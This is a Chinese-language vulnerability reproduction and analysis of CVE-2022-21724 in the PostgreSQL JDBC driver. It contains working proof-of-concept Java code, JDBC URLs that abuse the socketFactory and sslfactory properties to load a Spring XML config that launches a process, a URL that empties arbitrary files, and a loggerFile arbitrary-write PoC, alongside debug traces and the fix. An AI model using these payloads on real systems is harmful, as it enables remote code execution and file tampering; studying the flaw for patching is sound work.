任意代码执行漏洞复现
漏洞简介
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
9.4.1208 <=PgJDBC <42.2.2542.3.0 <=PgJDBC < 42.3.2
【一一帮助安全学习,所有梓料获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程
漏洞复现
创建 maven 项目,添加依赖
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency><groupId>org.postgresql</groupId><artifactId>postgresql</artifactId><version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-context-support</artifactId><version>5.3.23</version>
</dependency>
编写测试代码
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;public class cve202221724 {public static void main(String[] args) throws SQLException {String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;Connection connection = DriverManager.getConnection(jdbcUrl);}
}
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:p="http://www.springframework.org/schema/p"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类--><bean id="exec" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>calc.exe</value></list></constructor-arg></bean>
</beans>
漏洞分析
任意代码执行 socketFactory/socketFactoryArg
先将调试后的流程大概画出
java.sql.DriverManager#getConnection(java.lang.String)
java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
利用 org.postgresql.Driver
的 jdbc 驱动去连接数据库
org.postgresql.Driver#connect
调用 makeConnection 去连接数据库
org.postgresql.Driver#makeConnection
org.postgresql.jdbc.PgConnection#PgConnection
org.postgresql.core.ConnectionFactory#openConnection
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
org.postgresql.core.SocketFactoryFactory#getSocketFactory
PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值
SOCKET_FACTORY("socketFactory",null,"Specify a socket factory for socket creation"),SOCKET_FACTORY_ARG("socketFactoryArg",null,"Argument forwarded to constructor of SocketFactory class."),
org.postgresql.util.ObjectFactory#instantiate
通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。
- org.apache.commons.jxpath.functions.ConstructorFunction
- org.apache.commons.jxpath.functions.MethodFunction
- java.io.FileOutputStream
通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt
)
任意代码执行 sslfactory/sslfactoryarg
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
尝试与数据库进行连接
org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
建立连接后收到请求以 S
开头,进入 org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
任意文件写入 loggerLevel/loggerFile
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;public class cve202221724 {public static void main(String[] args) throws SQLException {String loggerLevel = "debug";String loggerFile = "test.txt";String shellContent="test";String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;Connection connection = DriverManager.getConnection(jdbcUrl);}
}
org.postgresql.Driver#connect
org.postgresql.Driver#setupLoggerFromProperties
通过 设置扩展参数 LOGGER_FILE
指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件
生成临时文件,之后将日志信息保存到文件中
org.postgresql.Driver#connect
先通过 setupLoggerFromProperties 设定相关的参数 然后再利用 LOGGER.log
保存文件
漏洞修复
针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
对于任意文件写入而言,高版本中移除了对日志文件的设定操作 setupLoggerFromProperties(props);
任意代码执行漏洞复现相关推荐
- CVE-2021-1647 Windows Defender缓冲区溢出导致的任意代码执行漏洞复现
0x01 漏洞概述 Windows Defender是Windows自带的防护软件,其在对可执行文件进行检测时采用模拟执行的策略进行黑白判定,模拟执行分为两个部分:指令模拟和运行环境模拟.其中指令模拟 ...
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache Log4j任意代码执行漏洞安全风险通告第三次更新
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...
- Office 远程代码执行漏洞复现过程
本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...
- Nette框架未授权任意代码执行漏洞分析
Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- ThinkPHP 5.0.23 远程代码执行 漏洞复现
ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...
- 用友NC BeanShell远程代码执行漏洞复现
用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...
最新文章
- [leetcode-61-Rotate List]
- 【英语天天读】The Two Roads
- MATLAB句柄相关函数和代码示例(设置美化图表属性)
- Fast-RCNN解析:训练阶段代码导读
- 分布式事务的解决方案
- ikm java_2013Morgan Stanley IKM assessment
- 宝骏530中控屏怎么安装软件_试驾2020款宝骏530:大屏加六座,就这么直接
- Openpose推断阶段原理
- Ranger-Kylin插件安装
- Java变量的初始化问题探究
- 阿里云官方推出操作系统“等保合规”镜像 -- Alibaba Cloud Linux 等保2.0三级版
- vivado根据语言模板定义一般IO的管脚约束文件xdc
- 小米max android7 root,小米Max root教程 小米Max卡刷获取root权限的方法
- linux live usb 使用方法,Linux下制作Live USB方法
- Win11删除英文输入法的方法教程
- 【经验教程】iPhone苹果手机开通腾讯视频VIP连续包年会员怎么取消苹果关闭订阅连续包年?
- CList 动态链表的学习笔记
- EMV规范(七)——持卡人验证(CVM)一
- 内存数据库中的索引技术
- matlab如何使用源代码,rosenbrock函数的matlab源程序代码是怎么样的?
热门文章
- 解C#中的委托(Deligate)
- Tigase8.1.2安装配置
- Windows Mobile开发总结 01
- 同步听 一款捕获电脑声音到手机播放
- jsp+ssm计算机毕业设计高校奖学金评定管理系统【附源码】
- Linux Base VII 帮助命令
- 医学图像分割之 Dice Loss
- 华为matebook x pro笔记本换硬盘实战
- RoboMongo 无法连接MongoDB(Exception sending message)(Exception authenticatig)
- 从λ演算到函数式编程聊闭包(1):闭包概念在Java/PHP/JS中形式